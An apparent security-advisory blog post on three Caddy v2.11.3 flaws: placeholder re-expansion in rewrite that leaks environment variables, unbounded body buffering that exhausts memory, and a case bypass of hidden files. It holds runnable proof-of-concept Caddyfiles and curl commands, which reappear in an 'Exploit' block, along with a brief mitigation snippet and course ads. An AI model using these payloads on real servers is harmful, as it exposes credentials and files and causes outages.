Listen to this Post
CVE-2026-30852 affected vars_regexp.
It is a placeholder double-expansion flaw.
Caddy’s Replacer processes placeholders.
First pass expands operator templates.
If attacker data enters template, it is expanded.
Then a second pass can resolve injected placeholders.
This is CWE-94 code injection class.
The rewrite handler has same gadget.
rewrite.go:215-249 and buildQueryString at 327.
If rewrite URI ends with literal ?.
And contains request-data placeholder.
Then first pass includes attacker header.
buildQueryString runs second Replacer pass.
Attacker can inject {env.X}.
Attacker can inject {file./path}.
Attacker can inject {vars.X}.
Example uses X-Fwd header.
Header value: foo?{env.DATABASE_URL}=leak.
Caddy builds query from injected bytes.
DATABASE_URL leaks into request URL.
It appears in access logs.
It forwards via reverse_proxy.
It is readable via {http.request.uri.query}.
The fix for CVE-2026-30852 sanitizes placeholders.
It did not extend to rewrite.
No equivalent regression test in rewrite_test.go.
vars_test.go:63,69,75 has tests.
Issue 2 is unbounded body buffer.
Issue 3 is fileHidden case bypass.
This intro describes mentioned CVE behavior.
DailyCVE Form:
Platform: Caddy v2.11.3
Version: caddy:2.11.3
Vulnerability: Handler placeholder flaws
Severity: Low to Moderate
date: Not provided
Prediction: No patch date
What Undercode Say:
Analytics
{
admin off
auto_https off
}
:8080 {
rewrite /serve/{http.request.header.X-Fwd}?
respond "PATH={path} QUERY={query}"
}
services: caddy: image: caddy:2.11.3 environment: DATABASE_URL: "postgres://leaked:supersecret@dbserver/production" ports: ["8080:8080"] volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
docker compose up -d
curl "http://localhost:8080/anything" -H "X-Fwd: foo?{env.DATABASE_URL}=leak"
{
admin off
auto_https off
}
:8080 {
log_append body {http.request.body}
respond "OK, length received: {http.request.header.Content-Length}"
}
services: caddy: image: caddy:2.11.3 mem_limit: 512m memswap_limit: 512m ports: ["8080:8080"] volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
fsutil file createnew big.bin 1073741824
curl.exe -X POST --data-binary "@big.bin" -H "Expect:" --max-time 120 http://localhost:8080/
docker ps -a --filter name=caddy-verify-3
docker inspect caddy-verify-3 --format "ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}"
curl -X POST -d "hello world" http://localhost:8080/
{
admin off
auto_https off
}
:8080 {
root /srv
file_server {
hide .git .env secrets
}
}
curl.exe -i http://localhost:8080/.git/HEAD curl.exe -i http://localhost:8080/.GIT/HEAD curl.exe -i http://localhost:8080/.env curl.exe -i http://localhost:8080/.ENV curl.exe -i http://localhost:8080/secrets/api.txt curl.exe -i http://localhost:8080/SECRETS/api.txt
Exploit: (Educational Purposes!)
curl "http://localhost:8080/anything" -H "X-Fwd: foo?{env.DATABASE_URL}=leak"
fsutil file createnew big.bin 1073741824 curl.exe -X POST --data-binary "@big.bin" -H "Expect:" --max-time 120 http://localhost:8080/
curl.exe -i http://localhost:8080/.GIT/HEAD curl.exe -i http://localhost:8080/.ENV curl.exe -i http://localhost:8080/SECRETS/api.txt
Protection: from this CVE
injectedQuery = strings.ReplaceAll(injectedQuery, "{", "%7B")
injectedQuery = strings.ReplaceAll(injectedQuery, "}", "%7D")
query = injectedQuery
LimitReader request_body.max_size
fileHidden() strings.ToLower GOOS=darwin GOOS=windows
Impact:
Environment variable disclosure
File disclosure
Memory exhaustion DoS
Hidden file exposure
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

